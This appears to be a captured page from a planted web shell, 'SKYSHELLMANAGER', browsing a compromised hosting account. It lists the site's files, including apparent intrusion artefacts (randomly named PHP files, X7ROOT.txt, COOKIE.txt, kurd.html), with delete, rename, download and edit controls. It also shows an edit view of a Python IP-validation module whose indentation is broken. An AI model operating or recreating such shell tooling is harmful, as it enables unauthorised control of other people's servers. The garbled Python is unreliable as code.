ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: validate.py

from enum import Enum
from ipaddress import (
    IPV4LENGTH,
    IPV6LENGTH,
    AddressValueError,
    IPv4Address,
    IPv4Network,
    IPv6Address,
    IPv6Network,
    ip_address,
    ip_network,
)
from typing import Literal, Optional, Union

IPVersion = Literal["ipv4", "ipv6"]

class LocalhostIP(str, Enum):
    ipv4 = "127.0.0.1"
    ipv6 = "::1"

def __str__(self):
        return self.value

class NumericIPVersion(int, Enum):
    """Example: (IPListRecord.version==NumericIPVersion[ip_version])"""

ipv4 = 4
    ipv6 = 6

def __str__(self):
        return str(self.value)

@classmethod
    def from_ip_version(
        cls, ip_version: Optional[IPVersion]
    ) -> Optional["NumericIPVersion"]:
        if ip_version is None:
            return None

return cls.ipv4 if ip_version == IP.V4 else cls.ipv6

def is_valid_ipv4_addr(addr):
    return IP.is_valid_ipv4_addr(addr)

def is_valid_ipv4_network(addr, strict=False):
    return IP.is_valid_ipv4_network(addr, strict)

class IP:
    V4: IPVersion = "ipv4"
    V6: IPVersion = "ipv6"

@classmethod
    def check_ip_ver(cls, version):
        return any(version == ver for ver in [cls.V4, cls.V6])

@classmethod
    def is_valid_ip(cls, addr):
        try:
            ip_address(addr)
        except ValueError:
            return False
        return True

@classmethod
    def is_valid_ip_network(cls, *args, **kwargs):
        return cls.is_valid_ipv4_network(
            *args, **kwargs
        ) or cls.is_valid_ipv6_network(*args, **kwargs)

@classmethod
    def is_valid_ipv4_addr(cls, addr):
        try:
            IPv4Address(addr)
        except AddressValueError:
            return False
        return True

@classmethod
    def is_valid_ipv6_addr(cls, addr):
        try:
            IPv6Address(addr)
        except AddressValueError:
            return False
        return True

@classmethod
    def is_valid_ipv4_network(
        cls, addr: Union[str, IPv4Network, IPv6Network], strict=False
    ):
        try:
            ip = IPv4Network(addr)
        except ValueError:
            return False

if strict:
            # IPV4LENGTH - netmask for host
            return ip.prefixlen != IPV4LENGTH
        return True

@classmethod
    def is_valid_ipv6_network(
        cls, addr: Union[str, IPv4Network, IPv6Network], strict=False
    ):
        try:
            ip = IPv6Network(addr)
        except ValueError:
            return False

if strict:
            # IPV6LENGTH - netmask for host
            return ip.prefixlen != IPV6LENGTH
        return True

@classmethod
    def type_of(cls, addr):
        if cls.is_valid_ipv4_network(addr):
            return IP.V4
        elif cls.is_valid_ipv6_network(addr):
            return IP.V6

raise ValueError("Invalid ip address")

@classmethod
    def convert_to_ipv6_network(cls, ip, mask="/64"):
        """Conver ipv6 addr to ipv6 network with mask
        :param str ip: ip for converting
        :param str mask: ip network mask
        """

network = IPv6Network(ip + mask, strict=False)
        return str(network)

@staticmethod
    def adopt_to_ipvX_network(
        ip_arg: Union[str, IPv4Address, IPv4Network, IPv6Address, IPv6Network]
    ) -> Union[IPv4Network, IPv6Network]:
        """
        Eliminate str from the Union
        :raise ValueError: if cannot convert ip_arg str to ip network
        """
        if isinstance(ip_arg, (IPv4Network, IPv6Network)):
            return ip_arg
        elif isinstance(ip_arg, (IPv4Address, IPv6Address)):
            prefixlen = IPV4LENGTH if ip_arg.version == 4 else IPV6LENGTH
            return ip_network((int(ip_arg), prefixlen))

return ip_network(ip_arg)

@classmethod
    def ip_net_to_string(cls, net: Union[IPv4Network, IPv6Network]) -> str:
        """
        IPv4Network('192.168.1.1/32') -> '192.168.1.1'
        IPv4Network('192.168.1.0/24') -> '192.168.1.0/24'
        """
        if not int(net.hostmask):
            return str(net.network_address)
        return str(net)

@classmethod
    def ipv6_to_64network(
        cls, ip: Union[IPv4Address, IPv6Address, str]
    ) -> Union[IPv4Address, IPv6Network]:
        if isinstance(ip, IPv6Address):
            return IPv6Network(cls.convert_to_ipv6_network(str(ip)))
        return ip

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: validate.py

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30